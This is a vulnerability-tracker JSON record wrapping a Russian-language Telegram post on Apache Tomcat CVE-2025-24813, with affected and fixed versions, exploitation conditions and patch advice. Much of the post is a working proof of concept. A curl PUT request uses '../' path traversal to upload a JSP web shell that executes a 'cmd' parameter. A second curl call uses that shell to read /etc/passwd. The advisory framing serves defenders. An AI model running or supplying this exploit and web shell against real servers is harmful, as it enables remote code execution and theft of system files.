{"uuid": "fce525ab-1f14-45f1-80f2-b1c0f791a30b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "GHSA-83QJ-6FR2-VHQG", "type": "seen", "source": "https://t.me/securixy_kz/1136", "content": "\ud83d\udd25 Path Equivalence \u0432 Apache Tomcat CVE-2025-24813\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 ../ \u0432 PUT-\u0437\u0430\u043f\u0440\u043e\u0441\u0430\u0445.\n\n\ud83d\udca5 \u0423\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438:\nTomcat 11.0.0-M1 \u2013 11.0.2\nTomcat 10.1.0-M1 \u2013 10.1.34\nTomcat 9.0.0.M1 \u2013 9.0.98\n\ud83d\udccc \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432: 11.0.3, 10.1.35, 9.0.99\n\n\ud83e\udde8 \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u0430 \u043f\u0440\u0438 \u0432\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0447\u0435\u0440\u0435\u0437 default servlet (\u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0432\u044b\u043a\u043b\u044e\u0447\u0435\u043d\u043e) \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 partial PUT (\u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043e \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e).\n\n\ud83d\udce6 PoC:\n\ncurl -X PUT \"http://target.com/uploads/../webapps/ROOT/updates.jsp\" \\\n  -H \"Content-Type: application/x-jsp\" \\\n  --data-raw '&lt;%@ page import=\"java.io.*\" %&gt;\n\n\n\n&lt;% if(request.getParameter(\"cmd\") != null) {\nProcess p = Runtime.getRuntime().exec(request.getParameter(\"cmd\"));\nBufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));\nString l; while((l=r.readLine())!=null){ out.println(l+\"\"); } } %&gt;\n' -i\n\n\n\ud83d\udce5 \u0414\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u0435\u0431\u0448\u0435\u043b\u043b\u0443:\n\ncurl \"http://target.com/updates.jsp?cmd=cat/etc/passwd\" -i\n\n\n\ud83d\udcda \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435: \ud83d\udc49 https://github.com/advisories/GHSA-83qj-6fr2-vhqg\n\n\u203c\ufe0f EPSS: 93.5% \u2014 \u0432\u044b\u0441\u043e\u043a\u0430\u044f \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u26d4 \u041e\u0431\u043d\u043e\u0432\u043b\u044f\u0439\u0442\u0435 Tomcat \u0438\u043b\u0438 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0439\u0442\u0435 PUT \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u0435\u0441\u043b\u0438 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f.", "creation_timestamp": "2026-07-13T00:00:18.471739Z"}